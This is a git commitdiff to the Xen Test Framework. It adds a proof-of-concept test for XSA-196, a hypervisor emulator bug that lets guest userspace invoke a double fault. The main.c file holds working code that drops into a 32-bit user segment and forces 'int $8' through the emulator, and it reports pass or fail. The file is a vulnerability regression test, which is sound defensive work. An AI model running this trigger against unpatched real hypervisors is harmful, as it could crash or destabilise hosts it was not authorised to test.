]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-196 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 27 Oct 2016 10:33:32 +0000 (11:33 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 30 Nov 2016 19:18:11 +0000 (19:18 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-196/Makefile [new file with mode: 0644]
tests/xsa-196/main.c [new file with mode: 0644]

index f38372bc59eb6ee109f000a6b3a00695556fe3eb..e0d8974671455ed0631d9732394b99aca7dd46fc 100644 (file)
@@ -75,6 +75,8 @@ address checks.
 
 @subpage test-xsa-195 - x86: 64-bit bit test instruction emulation broken.
 
+@subpage test-xsa-196 - x86: Software interrupt injection mis-handled.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-196/Makefile b/tests/xsa-196/Makefile
new file mode 100644 (file)
index 0000000..a5f3698
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-196
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-196/main.c b/tests/xsa-196/main.c
new file mode 100644 (file)
index 0000000..6649c52
--- /dev/null
@@ -0,0 +1,119 @@
+/**
+ * @file tests/xsa-196/main.c
+ * @ref test-xsa-196
+ *
+ * @page test-xsa-196 XSA-196
+ *
+ * Advisory: [XSA-196](http://xenbits.xen.org/xsa/advisory-xsa-196.html)
+ *
+ * Xen change [36ebf14ebe](http://xenbits.xen.org/gitweb/
+ * ?p=xen.git;a=commitdiff;h=36ebf14ebe60310aa22952cbb94de951c158437d)
+ * contained a bug when calculating the correct size of an IDT entry.
+ *
+ * This means that a 16 or 32bit code segment running under a 64bit kernel
+ * will cause the x86 emulator to look at the wrong location in the IDT when
+ * performing the DPL/Presence checks.  As @#OF is typically a DPL3
+ * descriptor, guest userspace can end up invoking @#DF, reserved for a
+ * critical malfunction.
+ *
+ * This vulnerability is restricted to AMD Hardware lacking NRip support.
+ * More modern AMD hardware, and all Intel hardware bypass the buggy logic in
+ * Xen.
+ *
+ * @see tests/xsa-196/main.c
+ */
+#include <xtf.h>
+
+#include <arch/x86/exinfo.h>
+#include <arch/x86/idt.h>
+#include <arch/x86/processor.h>
+#include <arch/x86/symbolic-const.h>
+
+const char test_title[] = "XSA-196 PoC";
+
+bool test_wants_user_mappings = true;
+bool test_needs_fep = true;
+
+void custom_doublefault_handler(void);
+asm(".align 16;"
+    "custom_doublefault_handler:"
+    /* Fake up "return EXINFO_SYM(DF, 0);" */
+    "mov $(1 << 31 | " STR(X86_EXC_DF) " << 16), %eax;"
+    "iretq;"
+    );
+
+unsigned long compat_userspace(void)
+{
+    exinfo_t fault = 0;
+
+    asm volatile (/* Drop into a 32bit compat code segment. */
+                  "push $%c[cs32];"
+                  "push $1f;"
+                  "lretq; 1:"
+
+                  /* Force `int $8` through the emulator. */
+                  ".code32;"
+                  "start_32bit:;"
+                  _ASM_XEN_FEP
+                  "1: int $%c[df]; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax)
+
+                  /* Return to 64bit. */
+                  "ljmpl $%c[cs], $1f;"
+                  "end_32bit:;"
+
+                  ".code64; 1:"
+                  : "+a" (fault)
+                  : [df]   "i" (X86_EXC_DF),
+                    [cs32] "i" (GDTE_CS32_DPL3 * 8 + 3),
+                    [cs]   "i" (__USER_CS));
+
+    return fault;
+}
+
+void test_main(void)
+{
+    /*
+     * Sanity check the preconditions for this PoC working.  These settings
+     * are very common.
+     */
+    ASSERT(idt[X86_EXC_OF].dpl == 3);
+    ASSERT(idt[X86_EXC_DF].dpl == 0);
+
+    struct xtf_idte idte =
+    {
+        .addr = (unsigned long)custom_doublefault_handler,
+        .cs   = __KERN_CS,
+        .dpl  = 0,
+    };
+
+    /* Hook the custom doublefault handler. */
+    xtf_set_idte(X86_EXC_DF, &idte);
+
+    exinfo_t fault = exec_user(compat_userspace);
+
+    switch ( fault )
+    {
+    case EXINFO_SYM(GP, EXC_EC_SYM(DF, IDT)):
+        xtf_success("Success: #DF DPL was checked correctly\n");
+        break;
+
+    case EXINFO_SYM(DF, 0):
+        xtf_failure("Fail: Userspace managed to invoke #DF\n");
+        break;
+
+    default:
+        xtf_error("Error: Unexpected fault %#x\n", fault);
+        break;
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */